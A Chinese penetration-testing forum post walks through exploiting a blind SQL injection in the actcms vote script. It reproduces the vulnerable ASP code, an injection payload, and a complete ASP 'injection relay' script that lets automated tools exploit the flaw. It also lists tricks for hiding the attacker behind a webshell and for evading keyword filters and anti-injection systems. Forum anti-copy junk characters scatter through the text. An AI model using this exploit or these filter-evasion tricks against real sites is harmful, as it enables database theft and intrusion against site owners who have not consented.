中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

2 G6 A/ [9 _- H# p7 J看到ninty大牛的blog的一篇文章
( B8 J1 Y4 N- e: x链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
* @. r) \' o+ B, B, t关于actcms漏洞的利用  by 3x qq:381862589
- Y) k( j) J. [# \7 Y) N6 R转载请注明以上
7 E7 {! g$ _) @3 U漏洞文件:: G! d1 n. X% B) f3 Z8 h
/plus/vote/vote.asp
$ l6 Q+ e, Z2 ]5 A9 ]4 p- V9 @' k+ P代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
2 M5 i/ ?5 X  B$ x- a7 g
6 c: t2 {9 N5 U" b- |) i2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
+ t. ^6 a  i0 l# o6 l8 O2 l2 p2 C
% \' ?+ q  F  I8 C* C3    response.end    - O& d0 v$ Y( ~- G) _4 b
+ R: a! }0 @0 n# B
4    end if   
  F. ~1 J4 g1 W5 E  B$ w& ^
2 d8 |- q0 c3 A' X" H( V, ?5 y' R5    for i=1 to request("voted").count   
' u' x# f$ _8 k8 m, @3 D; h" J. ?( _7 k) G1 ~: w7 [
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
, H" k7 i1 Q" Q1 [
! \& J" o( q5 N" C, k% ?6 H7    next   
0 u! U) J$ o- `' H
4 }3 S1 |/ s+ l3 Y/ C: G8....   
: W. N$ G% X) Q, W* J$ y" ?0 B. e# j$ K% ?
9response.Redirect "index.asp?id="&id&""   
% I" D5 F$ G- ^2 b4 F投票结束回跳转回index.asp这个投票结果页面$ Y: `' S: u% U# R% Z
如果投票成功票数加1  t  y3 \8 W! A& y1 q# [7 }
            失败票数不变
' w5 `, i* m3 x3 t; p3 y如图:$ k' f+ s9 c$ w9 ]
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
1 Q, a2 B- ]; n, E2 y# c2 P8 M2 k& C: l. _# |+ ?
2009-12-27 13:20" A8 ^4 n# D$ I& p

& x' X7 o0 f& x" G1 R利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
' Z0 n" A# z4 I% ?9 B
$ G2 n7 ?/ l. g# }1 R! x本帖隐藏的内容需要回复才可以浏览
# w/ v& N8 }6 B) r+ S0 O* @9 Q; b我们用注入中转来实现这个注入具体代码如下:
5 d4 T2 F8 r3 s. c( ^先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ R  A8 f& Y& P- V注入地址:http://localhost/actcms/plus/vote/vote.asp9 k+ L; S1 e" `
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
) t1 U3 [! Q" H$ r4 a, X
" j$ C6 l( c* I6 T0 L1 ]然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
. [/ U( Z9 u0 y. F; H# T: ^- |; ^* R6 \1 `# l
02JmdcwName=request("jmdcw")
+ @' b2 d; T0 \7 I0 l! C( s& D% `
/ S8 c& i1 S. I( B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
: e4 V# S& P2 p0 F9 I" S% |6 p/ w
04JmStr="id=1&voted=-1 or 1="&JmdcwName " \7 R: i( |1 b1 ~7 ?/ `

) H3 F) V/ M& E05JmStr=URLEncoding(JmStr)
3 y: J0 n1 H) J3 T9 W
4 K* ^  F6 P' n& m  H. Y06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp". U0 h% F; W% f. i4 ^) O
7 {. H( J  }2 |2 Q- e) K
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
: b+ l6 f4 o4 M/ T
2 B3 S+ M  w6 x) p08testurl=testurl & "?" & JmStr
4 H$ {3 I7 ^/ k% f5 A9 Z9 q! }+ \0 ?: N1 t8 _
09JMUrl=JMUrl & "?" & JmStr
$ a" K/ U* P4 R/ ~% z
" b/ \3 k; j8 S+ w# V: F$ G" b10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"# Y8 t$ ]$ G6 F

! ~7 d3 m# v7 Y0 W& d11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;": h3 a! }0 M2 u5 c% W6 r

% G* o1 g# H+ E( G$ k/ I12JmCok=replace(JmCok,chr(32),"%20")  
# T0 G/ z, U1 O& u2 i, |
1 H8 s9 h2 w3 ^13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
# v) g3 K8 V7 d. a) K% g0 @; c% m3 p6 y+ O
14  ; M5 ]) e! T: l+ l. D
9 o/ w8 V7 M: r% i' V/ ~
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
4 }0 s( q% t9 k) K
3 q* `$ d/ Z0 ~3 U16  
) E" |- c) C9 `' M' ]8 b8 r% Y& E  k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
- |7 e- X6 ^* f" N* P  _! I& j) b' j8 U: F$ X9 i2 N( P
18response.write test1&""&test2&""1 n! N' ^: z0 s: x( w$ O7 @

2 I6 X9 C1 m0 N* g, P) U) k1 ~19  4 U  M! @! z/ X9 I7 A3 R

" K/ {# d; v8 W20if test1=test2 then '如前后记录相等,表示失败
% z5 T' q8 y3 P, T0 i- p
' E0 Q/ I' M/ _+ }% e21  response.write "failed"
$ R+ P9 L* J* g* Q8 }
/ w; f0 \7 g& D22else
, ^1 S6 b" P+ {' s' y
& F/ b/ X$ e9 y6 E4 n23  response.write "succeed"
6 K) F. X) d( i8 [0 C7 H% v4 U( p! a$ N2 `# e7 {( S
24end if  
& f5 x& m( x) @! b$ d4 q8 W" n# W7 L: Q2 _8 r1 @# A, h
25  4 N4 X" V( {  c$ u- h
% d- r9 M# H. X2 ~' w% p0 W
26response.write "by 3x"( f' w: k0 y3 h3 d1 J8 `5 z

) x. `% U) Z) T& q; g/ E- w27  ) ]  L4 [2 ]- `" }. f

& E9 \) V/ V: L5 f! X: g28  
6 D1 Y$ w$ y' T, R
1 P# U: W7 B0 d1 `, P# _29Function PostData(PostUrl,PostStr,PostCok,PostRef)   " H; {/ r# w9 p0 p% k( T: L

( }2 N3 G6 i- V( O8 {  d, {30Dim Http
2 C3 `! \" [& {% S% ?6 G
8 T7 E  G8 E/ |) {7 v4 L: ]* u31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. {; t) i, s2 G7 z+ [/ ]5 Y; U  _
" ]9 b6 h! L6 l9 w' t32With Http 9 w. g2 z" X3 j6 b% Z& i

' q6 g$ L$ i4 F; X. z2 |/ I( u33  
  Q9 a6 O# Z4 W& e+ @  H- m
  r' s2 h$ n- I& P34.Open "GET",PostUrl,False
" G9 K" M6 {- ?3 P4 i9 O' x# Y/ X8 x
% P( Q8 ?2 `  g! h3 P" j% G35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
; M. \  L3 t, ?) e& ~; p+ A+ }+ {  m7 b$ R8 x1 P
36.SetRequestHeader "Referer",PostRef
, W4 a( D. Y3 s3 @" P9 h5 w- [  _& p3 c. V) ^% U& W) r
37.SetRequestHeader "Cookie",PostCok
+ U6 B# R1 L+ V
' Z) r; m/ X( Y' Y) h38.Send () ! \, ^& \6 |) `0 C% V6 q

, L# W9 l7 ]% Q39PostData = .ResponseBody
* M  H$ T" O( v* @( D3 D! g$ D  u9 _) Q" |9 i8 B" d
40End With; x2 @) t% [3 h: Q8 E3 n7 C

; c9 p* J7 ?7 w6 q4 C41Set Http = Nothing
- m$ o- ~& \3 g1 Q' z
* m' H8 O/ {2 c9 D3 K. |9 T42PostData =bytes2BSTR(PostData)
5 p9 ^% z5 t  p' m. l  u( j% o1 Y2 s7 b2 x; {( \- `
43End Function
8 r2 A6 l/ D( e- ]/ o+ q* O+ H: ]/ W# x! |3 V) k
44  
6 F) M9 E# W) K! u1 A+ Y; M& }+ U8 H6 F/ k0 a  w5 W: `
45  
+ X, {+ A2 G5 K  Z- |
0 [' L  m, l7 n46Function bytes2BSTR(vIn) ) Y% Y$ ^6 p( Y- o6 R
8 z, L7 O$ F9 l3 z
47Dim strReturn
* B& E  h- }2 O. e: s9 K
' U3 M7 n0 G3 v+ }9 c) Y; Y48Dim I, ThisCharCode, NextCharCode
" n2 L5 o; o" I7 T& z' E% i4 A2 X. E, I, v/ \
49strReturn = ""6 u4 A. C& V9 u# Z4 D7 @2 g* g- ^

( J- G5 f4 K! r50For I = 1 To LenB(vIn)
! N  @. C& l/ C8 W3 Q7 Z
+ x" Y9 G7 n+ t- [% ]51ThisCharCode = AscB(MidB(vIn, I, 1))   z  @$ |2 \& ~' a# H" _

0 H+ l/ s* S& m/ N8 G( U52If ThisCharCode < &H80 Then( p" W' p. l5 K& U4 g

0 {5 c. V2 Y; L9 o% U" Z% J8 s53strReturn = strReturn & Chr(ThisCharCode)
/ m) j) H5 `  c3 t: G
" a% \8 c& Q$ b2 h3 A: ~, K54Else
5 w' Q$ B, D# O9 h+ [# @7 ~4 s2 v* V  p/ }1 n
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 9 P  j8 D" N9 Q
0 w, q! z) }- _8 `' W5 N
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 5 @: e6 O7 ?# L; M1 [/ `

1 ~& s7 P; p: n  e) {4 I0 J/ y0 b57I = I + 1 8 d% V' k' c- s( B2 j( S

) T. C/ P. i7 A9 h/ T/ P. f8 J58End If
1 U! W; l% q4 o1 \- d- h+ U% Y
1 j0 q+ S0 I# Y- U+ [59Next9 e$ m3 F5 M' L

9 J* d4 x& ?  E; d/ `0 A' b60bytes2BSTR = strReturn ) g& N: h5 c3 T
5 s% C% {, ?# K1 y' a8 K
61End Function
2 z/ }& h6 C( I) v$ ~1 c. h" v  _
5 A+ M7 ?4 O4 @( n0 D2 G% `62  8 m7 r- Q0 ^" e, V1 X

& L: b' H8 n6 m6 i4 Q7 m* F+ n63Function URLEncoding(vstrin)  
4 R# X+ y0 w( {) M) Y$ x& W' i
6 R8 r% W8 Z7 q1 j9 f, {) F64strReturn=""
7 b5 \1 b' A) E% G! |. X2 d& }: b# L4 d
65Dim i   q  w& I' e# A( C

- u8 h' C- A$ @- w5 x. i66For i=1 To Len(vstrin)
$ d1 L" D. ~; L5 i+ a* ~, P/ W+ W3 k9 m
67ThisChr=Mid(vstrin,i,1) * r7 X( @. J( P3 r4 {
' c% W. M- z9 J+ S# Q" x; }! j
68if Abs(Asc(ThisChr))< &HFF Then
8 @" d6 P" x! T* I) u" @) W- }! L, [; u( _* H+ l
69strReturn=strReturn & ThisChr
& n3 p9 p" j0 V8 |* ]1 D+ O0 G$ c( U4 B1 [, a
70Else0 E6 S9 q) |" X. d- }
- E& ?& K+ X- f' W
71InnerCode=Asc(ThisChr) : D0 L( Z0 y6 y2 D2 p

! R! _* T) \1 @0 y2 h72If InnerCode<0 Then$ C7 g& F+ |  y/ C; f, q

5 b% `6 P- y* S; J73InnerCode=InnerCode + &H10000
) W9 n" I. m" x9 d! R0 E) g! F' l2 u. A/ ^
74End If
. U- k! L) M) g! ^, h; Y' ?0 e8 b1 k9 S, Y& F6 ^
75Hight1=(InnerCode And &HFF00) \&HFF
7 Y' @4 S/ x9 S* x0 @& N! Q* F4 P9 `* z8 Q
76Low1=InnerCode And &HFF
0 E+ S& Y" G! J1 Z/ l# [
  Z; p4 c+ X4 B( `77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
+ v! u; V, z1 r6 ^# h8 {: X5 i7 i/ g5 {" S* O
78End if 0 n6 N4 o3 C( [3 t) S0 }* ^

! j; D/ }9 E; ?9 p" K# T79Next
6 X  \% j/ m6 \1 d9 c% l( h! e& R* k, H) S
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
, Z4 k0 `/ m: H9 j  }: @
  s1 A  @/ ~! I9 D81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 : B: B+ O0 T& b% D2 a

- C7 O1 ^6 T; D  r2 ^/ f82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 . L8 h& N/ e' w* s$ Q
; ]" \6 }+ l4 z* r
83URLEncoding=strReturn 7 y3 Z( [+ a8 A9 c2 L0 n2 E
) h) K; u- s5 a  c8 O. e! g
84End Function
" F) W4 ]$ m' d0 G# i2 I3 r+ y; n6 z0 L- I5 D
85  ! N, g9 ^1 b( ]( J  e' `

5 J( W; |. D6 S" R' }86function getSt(body)
% x, p6 X" @- m  C' u0 E! F& m9 g9 o' r: I& O
87  startpot=instr(body,"投票人数:")+len("投票人数:")
* O1 g: a2 d! A8 I4 u" K
% `/ W0 W, Q7 t88  endpot=instr(startpot,body," ")
- z3 X1 z1 o6 v. y0 q% L$ e
4 W( Y& S/ v: q$ @( j, l9 N- ]89  getSt=mid(body,startpot,endpot-startpot) 0 Q; U+ r9 {3 G% \

7 c9 J9 ^4 L, T* Z  M8 N" x4 P% |8 X90end function % x. \0 P: Q5 \$ {; D$ |& |8 G8 x
8 j2 d6 P* r3 a$ L
91%>9 Q( Q) q7 m  c
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
* g+ q0 y5 k4 x/ g4 S$ m! T& K测试下效果:+ q; k  b0 H2 v
投票成功:
9 P1 K$ c+ @' ^" k; y% M2 Ihttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
* e3 }7 |0 I$ z/ V0 s
' S2 O: ]' \; [' d% Q4 S2009-12-27 13:29
! S2 \7 K4 d( Y$ E( a: r5 W投票失败, b2 [4 z/ x$ _- E( m9 k; p3 M
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)+ {) a% s& v9 g, y* [" W" H

* [4 p+ A8 _& k& ?9 l& v  L) r2009-12-27 13:29% [/ @+ D: L& b+ W9 n& j$ c
-------------------------------------------------------------------------------
2 e, f+ g; L4 P/ ~$ f5 ^& B* W再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以4 P( L5 N' p5 t4 @3 ^1 g* d
很抱歉。。。只能用单线程工具去注入。。。。。# u; r+ J. Y+ l3 I' }: V
所以失败。。。不好意思。。。
4 b, D# a. C4 }+ P; b2 m-------------------------------------------------------------------------------4 ?4 U0 T: N) S1 ?- M
* }$ ^2 `7 V3 G; g/ U
注入中转的一些其他应用, x+ k: {  ^/ s2 e+ N: j5 O
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& y6 Q$ _; u$ B4 l  V- n6 N& S' ?1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id, W/ U$ _% |3 _& t4 k
2.post注入转成get型的注入,方便我们使用工具来跑
* B5 I0 R: Y( g/ y7 _3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
# t  H9 D  i2 L  q4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
; ]/ K  Q: ]( s2 S- P% n1 a8 ~! N  d5 o8 I5 o8 Y





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2